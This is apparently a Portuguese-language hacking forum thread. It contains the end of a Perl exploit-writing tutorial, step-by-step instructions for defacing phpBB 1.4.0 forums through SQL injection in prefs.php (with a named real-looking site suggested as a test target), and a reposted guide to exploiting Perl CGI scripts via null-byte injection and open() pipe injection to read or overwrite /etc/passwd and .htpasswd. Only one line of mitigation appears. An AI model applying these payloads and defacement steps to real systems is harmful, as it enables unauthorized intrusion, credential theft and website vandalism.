    $paddr=sockaddr_in($port, $iaddr) or die "Error: $!";
    $proto=getprotobyname('tcp&#39 or die "Error - Protocol: $!";


    socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "Error: $!";
    connect(SOCK, $paddr) or die "Error: $!";;

    $msg = "USER $rlogin\n";
    send(SOCK, $msg, 0) or die "Error: $!";
    $msg = "PASS $rpass\n";
    send(SOCK, $msg, 0) or die "Error: $!";
    $msg= (SETAR_ARKIVO_DE_LOGS) or die "File not found...: $!");
    send(SOCK, $msg, 0) or die "Error: $!";
    while () {
    print;
    }

    exit;

    Pronto tah aih o codigo... mas se eu fosse vc nao confiava nele pq ainda
    precisa ser aperfeicoado e foi desenvolvido mas por uma mera
    brincadeira....

    [7]-Codando seu proprio exploit

    Gente, p/ vcs nao serem mais scripts kiddies, facam isso que eu estou
    falando....

    1 coisa que vc tem q saber eh descobrir o bug q vc vai exploitar, vc tem 2
    saidas, a primeira saida e vc fucar ateh achar o bug e a 2 saida eh vc
    procurar o bug nessas paginas securenet, packetstorm, unsekurity e
    etc... e depois passar p/ a pratica...

    2 - Recomendo tb estudar exploit dos otros e comecar a fazer outro mas
    seguindo sua propria tese... isso eh mto bom... vc treina com isso e qnd
    ve jah tah dominando a linguagem Perl....

    3- Depois teste o exploit e se nao conseguir procure alguem p/ lhe
    ajudar... sempre faco isso... com o q vc leu aki, dah p/ jah codar coisas
    basicas ... entao... agora em diante eh com vc amigo! valeu to vazando!!


    [8]- Agradecimentos

    Bem antes de mais nada, gostaria de agradecer o pessoal da w2x (Write to
    execute) vcs realmente foram demais.... me guiaram p/ o caminho certo
    valeu galera adoro vcs..... tb gostaria de agradecer ao pessoal que me
    ajuda e me incentiva a codar e tal... abraco pro pessoal da unsek.... Eu
    acredito que a unsekurity tem futuro.... acredito muito nisso e por isso
    estou aki ajudando... Eh soh isso..
    []'s
    fui!

    E-mail: jefersonf89@bol.com.br
    ICQ : 38744049

  9. #9
    Desde
    Jul 2002
    Posts
    17
    Peso da Avaliação
    0

    Thumbs up

    Tópico últil esse, ai vai:

    ************************************** phpBB Versão 1.4.0 ********************************

    (outras versões estão sujeitas a diferenças nos passos a baixo)


    Tipow..
    Primeiro vc deve se registrar no forum.. ( faiz de conta q o host seja www.1.com )
    click em REGISTER...
    depois vc deve se logar com o usuario q vc criou...
    (faiz de conta q vc criou um user com o nome de DEFACER )
    Logedin as DEFACER. Logout.
    pronto..
    dae vc manda esse comando pelo browser...:

    http://www.1.com/phpBB/prefs.php?sav...EFACER'%23
    se aparecer issu la no final da pagina..:

    Preferências atualizadas. Clique aqui para retornar ao index do fórum
    ( Isso pode estar em Ingles, ou variar de acordo com a lingua...)
    OK..
    depois disso , click em
    [Private Messages]
    depois um pouko abaixo tem um link... click nele
    [Administration Panel]
    c pedir senha é pq naum ta bugado.. mas c naum pedir é pq ta bugado......
    para alterar a pagina vc deve ir em :
    Set Header/Meta/Footer
    dae vc coloka la qualquer coisa... tipow.. HACKED BY THE Hax0r..
    entendeu??


    Tipow testa issu nessa page:

    http://nectarine.vantage.ch/prefs.php

  10. #10
    Desde
    Jul 2002
    Posts
    17
    Peso da Avaliação
    0
    Esses textos foram tirados da net:

    Como explorar CGI's = \
    `------------------------------------------------------------------------
                                  por Cacaio


    Os scripts CGI sao feitos com o proposito de usar as requisicoes do
    cliente e do servidor e entao se tornar meio que uma "ponte" entre eles.
    Se alguem pode mudar as variaveis em um script cgi, entao ele vai a uma camada
    inferior no servidor para o servidor executar o que foi pedido.



    Algumas falhas obvias:


    -------xX !!! Corte Aqui !!! !!! Corte Aqui !!! !!! Corte Aqui !!! Xx-------
    # este script e' para voce dar o nome de um arquivo e o script o abrir
    # adicionando o tdk a sua extensao.
    $pedido = $ENV{'QUERY_STRING'};
    open(HTMLFILE, "<$pedido.tdk");
    while(<HTMLFILE>) {
         print;
    }
    -------xX !!! Corte Aqui !!! !!! Corte Aqui !!! !!! Corte Aqui !!! Xx-------


    Olhando rapidamente, tudo parece certo, correto?
    Nao! Vamos dizer que os arquivos .tdk sao arquivos de bancos de dados.
    Se quisermos abrir um arquivo como teste.tdk nos iriamos a:
    http://servidor.com/cgi-bin/cgizaum.cgi?teste
    e isso abriria o teste.tdk e o mostraria.


    Se o servidor tem um arquivo .htpasswd, por exemplo, e voce quer abrir ele,
    voce vai usar cgizaum.cgi?.htpasswd . Isso vai fazer o cgi tentar abrir
    .htpasswd.tdk o qual nao existe. Mas com um truque simples podemos pegar este
    arquivo. Ao inves de abrir cgizaum.cgi?.htpasswd, nos vamos abrir
    cgizaum.cgi?.htpasswd%00

    O perl vai ver isso como .htpasswd\0, e vai interpretar este \0 como um
    limite. Entao, vai se livrar do .tdk e vai abrir pra voce o .htpasswd.


    Tambem pode ser usado neste caso cgizaum.cgi?cgizaum.cgi%00, e assim vermos
    o codigo fonte do script.


    Outro exemplo disso e' quando o script nao deixa voce ter acesso a algum
    arquivo...


    -------xX !!! Corte Aqui !!! !!! Corte Aqui !!! !!! Corte Aqui !!! Xx-------
    # este e' um exemplo no qual voce pode escrever em um arquivo, mas antes
    # checa se pode escrever no arquivo escolhido

    $openfile = "/etc/passwd\0hahaenganeioscript";
    die "voce nao ta abrindo meu arquivo passwd" if ($openfile eq "/etc/passwd");
    if (-e $openfile) {
      open(FILE, ">$openfile");
      }
    -------xX !!! Corte Aqui !!! !!! Corte Aqui !!! !!! Corte Aqui !!! Xx-------

    Este exemplo nao e' dificil de se entender.


    Ele tenta ter certeza de que voce pode acessar o /etc/passwd checando com
    o "if". Novamente, o truque do \0 pode ser usado e assim poderemos escrever
    no /etc/passwd.


    Uma maneira facil de previnir este tipo de coisas e' simplesmente nao aceitar
    alguns caracteres.

    Colocando a seguinte linha, voce ja nao aceita o /0.

    if ($file =~ s/\0//g) { die "nao funciona aqui"; } else { #seu script aki }


        .-----------------------.
        | O problema do open()   `--------------------------------.
        `==========-=-====--==-=-=-===----==---=-=---=-=--- -- -  -

    observe o seguinte script:

    -------xX !!! Corte Aqui !!! !!! Corte Aqui !!! !!! Corte Aqui !!! Xx-------
    $file = $ENV{'QUERY_STRING'};
    open (FILE, $file);
    -------xX !!! Corte Aqui !!! !!! Corte Aqui !!! !!! Corte Aqui !!! Xx-------


    Se pedirmos pra abrir o index.html, ele vai abrir o index.html.
    Mas se voce adicionar um | ao parametro, o open vai tentar executar.

    Por exemplo:

    -> if $file = /bin/sh;

    vai apenas abrir o /bin/sh e mostrar codigos binarios.


    -> if $file = /bin/sh|;


    vai rodar o /bin/sh.

    Como tirar proveito disso? Por exemplo:

    -> $file = "/bin/cat /etc/passwd > /home/httpd/html/passwd.html|";

    Isso sera' executado. agora use '$file = "paswd.html"' e entao voce tera
    o passwd (considerando que o /etc/passwd esta' acessivel).


    Isso conclui esta materia.


        Cacaio

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Regras de envio

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •